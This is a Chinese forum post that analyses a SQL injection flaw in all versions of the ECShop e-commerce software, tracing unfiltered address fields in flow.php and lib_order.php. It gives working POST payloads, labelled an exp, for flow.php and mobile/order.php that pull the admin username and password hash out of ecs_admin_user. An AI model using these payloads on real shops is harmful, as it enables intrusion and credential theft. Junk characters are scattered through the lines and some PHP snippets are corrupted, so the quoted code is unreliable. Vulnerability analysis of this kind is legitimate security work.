找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2085|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
7 G- G2 i4 N7 |. M6 |. j. x6 J  n/ i* Z
    漏洞关键文件:
6 I% U/ n( P" i6 l4 ~1 I/ p( I: v+ w+ |- U0 G' s
    /includes/lib_order.php: e! ]" b2 ?4 E5 Y

8 @2 Z" v8 {- I    关键函数:
" ^6 _. S' Z5 Q$ c: _
+ n" E# R+ F; m& d$ N
: h% w! F* J4 p, s8 Y# C2 [, c4 o/ J' h- ?
01     function available_shipping_list($region_id_list) ! {7 r) R- ?: v6 i2 |$ v

/ P; a4 v. s0 E$ L+ u02 {
9 _2 U$ w& q9 o+ |) P+ x6 U  C5 U9 X6 U
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
6 v" N( i& E! p+ x, u2 R! b2 T% S/ W7 H; \; f0 R; ?
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . + Y8 P) m. t0 M* Y% X- _
. p9 R, O+ U, ?" e
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 E2 J" b, J# {

  y' o  j: Y8 L3 d5 B06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ( D$ F1 c  Q" Q4 p2 v5 D6 a

8 Q- Q$ P* u3 q3 s" n6 h$ X07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. * [  U8 j0 s0 W: t0 m

5 B9 @9 b# j, u! S6 J% N08             'WHERE r.region_id ' . db_create_in($region_id_list) .
( ~! D- v9 ^4 |! ~: b% z
+ U& s! G( j; q3 e0 U+ s09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 9 o0 Y' ^# z3 m8 N

7 y, {% C: v+ A8 `10   
, n& M+ w! P' v3 t1 l
9 L) L+ d, e2 h6 g11     return $GLOBALS['db']->getAll($sql); 7 p9 O( z; s$ y  B

( A  v% ?4 |& u8 M/ F12 }
. ]/ h" Q7 Q6 b9 U7 Y, V* J+ A7 x4 ?# w
显然对传入的参数没有任何过滤就带入了查询语句。6 u* ~+ J' l( ]8 V1 q% v6 \: d+ R

& x0 I. {" \8 M2 x/ L下面我们追踪这个函数在flow.php中:
; M( x0 e* n6 q9 B. s4 z 第531行:   
! @& N" Q+ E& R, X) D: V; C$ t
' f6 D# M' h# E3 F5 ~1 $shipping_list     = available_shipping_list($region); 8 H  Y/ E- t) @, j) Q8 U; N
1 o$ m' X3 K' \% \- K, J$ c
" F+ S: |0 k0 J, v, o

6 ?/ T$ ?9 x; A" q1 M: p7 U * o  r# a* m6 ]8 S  |7 z3 ]

( N6 b1 C  l/ J! P再对传入变量进行追踪:
# D  _% j# l( w4 T2 E
8 q1 i6 k: M7 v+ O! m第530行:   
/ U# i9 k- ^1 z6 V& D+ W: f
7 N8 u' j! ?3 J2 F& x) y3 k1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
  l( R* \. ^, P$ S: o/ c5 ?1 Y% g; V) g. A6 W1 A. R

; B( U& n9 b# `* L; N, W6 d/ G# A% O
, L; Y: O+ u6 O  u/ A/ |
: O) B2 f9 P) h4 X  Q, h* F8 e& j
第473行:        
" O/ @# e1 S. A7 y& C5 g7 K6 x' M
2 v- d! G/ Q/ E, O9 e1 $consignee = get_consignee($_SESSION['user_id']); 5 m3 B/ y8 t6 z3 ^' V
: x5 I; X( [7 S+ `# m9 ^5 ?  K
到了一个关键函数:1 ^4 D+ x) }! Q* R
& R) N8 L9 Z6 S# b. }; b
/includes/lib_order.php) J$ P: ], J6 O1 u; M3 T

) E: b' ?, k* c$ D
. Z5 y' B1 N& e/ [( R: T! K" K8 \( `" T- Y
/ E( X1 }( ?' H! B, |: B
/ m7 Q( U% v& p! ^9 w5 f
01 function get_consignee($user_id) 9 p- v) U' D! v( }' t9 Z, v

$ u6 a; X; y7 t; L/ ]02 {
+ N/ g9 x5 {9 ]- H* q/ t! i% G1 [7 D2 x. ~2 A
03     if (isset($_SESSION['flow_consignee']))
6 @) m% \! [$ _: k: _% v5 a
' {) h# j% H. z7 }- H04     {
4 n: f5 r) ~  U/ w" e) u* H5 [9 x$ t  ^. F- C1 ?
05         /* 如果存在session,则直接返回session中的收货人信息 */
' n; P/ @1 y1 i; E
7 O' N$ u: z0 o/ @06   
1 e2 G# O$ C) R5 ?1 T
, q1 ?9 g  {* j! V) M07         return $_SESSION['flow_consignee']; * h/ l8 L9 F, h6 e0 }# F

+ B4 h$ z, w  M3 o0 h0 n+ ?08     }
# V& u( i, A+ U" k/ S
3 ]( q% C( ^) D! b/ @* d2 F09     else 7 ^( Q" m3 Z! o

$ Y6 m4 p, c/ {: W9 a3 D. N$ F5 S! T7 ]) K10     {
! v1 I; Y: F* M* o( e- a8 p6 ^: {5 w, g& Y9 [( L
11         /* 如果不存在,则取得用户的默认收货人信息 */ : L* Z6 @0 ?8 [. u/ _: _
& P. m6 W  W7 F4 }6 J" C
12         $arr = array(); / a6 H! v2 B( M- K

0 m7 Z8 J0 M, g6 h4 N13   
+ x5 G6 g7 ~% s6 X$ ^4 `# u# `2 V6 F! h! ]: K
14         if ($user_id > 0) : s5 T# j+ m6 f- S' C5 {- T

5 L5 P& D* B, \' V  k* L15         {
: w7 L$ c/ `4 B+ z/ N2 z* \
; q* o, ?2 p  A9 |) i16             /* 取默认地址 */
: E3 o/ R+ }% P: ~- @
4 E) Z$ Q: |6 ?- B5 P& k: N17             $sql = "SELECT ua.*".
0 C4 U7 a. X  L* e8 ?. _1 J7 }) J8 I6 T2 `
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ; O1 Y3 w, E5 p8 t) @

7 i+ ^! G# l  z$ N19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; & _) n) _  z# V7 C: n# x
" t3 |9 o. m/ \& d
20   / X  ~! V$ s6 }6 r6 X

+ [7 E/ T. J4 s$ A7 v5 w6 {21             $arr = $GLOBALS['db']->getRow($sql);
, H7 Y" T! b/ x
7 w+ z7 b2 r, r* {  ?22         } 2 Z# }6 u0 r$ n

; \1 [, L/ o7 _1 w, b/ n23   9 Y& i" t) I2 w* O7 r3 L

- a, U! m: U1 j0 m' |+ q24         return $arr;
' E2 C: B, I! W) C0 ^& k
" ~* u, _5 A/ |9 v7 w25     }
& M! S  Y# u: m- _. I2 Q4 v
% x  v  r3 L. x; @) b% C26 } / T9 J: S' G( d+ l. R
4 Z; r- |( T, N& N, i
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?4 C' L0 t: y1 R

5 Z1 ~2 N, ^' H6 D# n" }
, K8 f6 p+ c1 {8 B
3 }1 X0 V& k- a" J关键点:
; Y8 E- m) m7 A7 o4 ~. z0 m7 H% J/ ^* s, `& h' L! ~
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);6 [( h$ c' I* V4 T" A

; c2 k7 F1 Q, @这里对传入参数反转义存入$_SESSION中。" [$ d5 d+ \0 y) k2 M0 D

. k$ A3 n; W! z$ t; F& E# j ! e6 |9 o. f9 X4 e! x

  c# `( h% v% D$ M然后看下:+ e5 m; _4 E! M$ ~
* n2 Q3 X$ k# G  t, o( c

! @, u7 ^4 ?1 `4 S" C+ U' {1 Y1 o
- i! [2 m7 `7 d, ]% `    ! g8 Z+ ]3 @2 ~

- m) a1 u3 e. |  b* l: i01 $consignee = array(
7 C. o1 x4 ~0 Q( T) z
. p4 W( _6 }; O# Y$ d02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
7 C$ ]+ ]8 ?, e; F0 Y! c* e1 R9 ?& U, r' P7 k  ~
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), , J9 d/ W1 u/ d8 b

- q$ ~" Z, g) R; |( s* U. G04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
4 J2 _$ w! i; u
1 E: t$ @4 o: P7 t7 S# U( U05         'province'      => empty($_POST['province'])   ? '' _POST['province'], ) F1 d& _) x0 c$ z1 O3 ^& d
8 |+ g$ H& \- S8 \& c5 W
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], " }( G0 U! h8 u5 w. K, l
% x- Z& U2 Z! E2 Y6 U
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], $ b8 G4 {; V- M
5 ^. i  ^% `+ q5 X5 p
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
! W4 p: H6 F8 B1 h6 D5 y: S2 y
4 P2 T$ Q$ Q. k+ X$ S: L09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 0 o3 ^2 S2 G2 i( I+ ?6 a" f' r
9 f. [+ `/ `4 V. a% G+ s) R
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),   ^( z: i- ?9 O, U
) X# G2 Q& _7 w
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 0 B/ L: v$ f2 l3 P# N. ~. R

  |  U6 }/ f& t, ?& X12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), ' O0 z; ^6 V. H6 y! j% M% l; q
0 t8 j4 j& e- B$ A
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 1 t- v  ]0 t8 E9 Z/ U
/ J, `5 i( s8 K# Z  |* M9 I" H+ O
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], # L" R+ a5 m8 u+ g; d
+ b$ g6 g% u" V5 W$ V
15     ); 1 c( b* h  O" l6 X$ C
9 E1 ~; I, _: M& ]3 W0 t" _4 r
好了注入就这样出现了。
. S; c+ A2 O4 ]) M) x- }
9 e2 F7 ]9 \" G6 a5 p+ ~5 G! |7 v==================
3 S, Q2 m4 c  V( U# q# v  \) ~5 }5 ~# }# o5 X
注入测试:
6 u5 b( T& O8 O: A' J7 C2 G8 h. ^% b& j' ?! }
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
; c3 d, \) W- f. O0 O- J/ b% v6 r
: K: C0 o% v& T9 w- a5 k" d测试程序:ECShop_V2.7.3_UTF8_release1106
% u7 b, H0 t" M" A  G
4 [0 Q; e9 v3 A1 \9 \5 b/ y 3 b" l% f- Y1 `& \$ ~7 w

3 C0 C3 ?; }" z0 G9 c) b$ D" \. S1.首先需要点击一个商品加入购物车
- A2 l) r/ N4 J! D% `1 B1 D" k4 J( F$ E6 }  u; t! K. P3 w  e) U! k
2.注册一个会员帐号
. h+ ]5 K3 [- |! Q
; @6 K2 ^7 M6 s3.post提交数据
) |1 m2 R  ]2 @4 L2 A8 c
* ^. g1 C5 G# }; |, b% _
" `0 a2 c9 h0 |4 |# U$ a6 T/ C4 `+ u; E$ N/ Q! t- B- K
1 http://127.0.0.1/ecshop/flow.php
$ c) _! D  P% ^2 O, G+ i6 j0 v+ q2 V, f& N) v
2   ( X' Q4 u  x2 w1 D
4 G, n  v* Q9 R6 h0 y: O. Y% i
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= : {$ R) }8 x: u& |& s( Y4 }
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
# x! e- q0 h  }- D8 k# }0 {3 ]) `5 z8 B
我们搜寻关键函数function available_shipping_list()
0 a$ N3 |2 K  z( W) A; t( {: b4 w) o- d
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
% ?8 G8 k" w3 q
  \7 O9 k3 e" D9 L6 W/ g利用exp:  q8 _6 i' ~& E6 F" ]6 O

! `% h7 S  S) F; _4 m1.点击一个商品,点击购买商标5 ~/ x9 Z- ]6 K& P
& S2 O- [, T1 A1 v( U# e+ ^' q
2.登录会员帐号
' K3 K3 Z, j" o, ]$ z7 r* N6 X' r
3.post提交:
, c0 W, Y9 w. j3 C- z5 F' U% y1 a% u! o4 k
http://127.0.0.1/ecshop/mobile/order.php
8 y9 c7 O: j/ ?- B  h1 G: L( G0 F" _* K* F8 J. L, {: V

4 _: L6 x, y0 O! T
) Q7 W0 L$ _% t0 U" c, Z3 ^% y  Fcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=8 T/ P7 a; i: W7 \$ u

6 ?  c. C$ ~; ^( Y4 f5 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表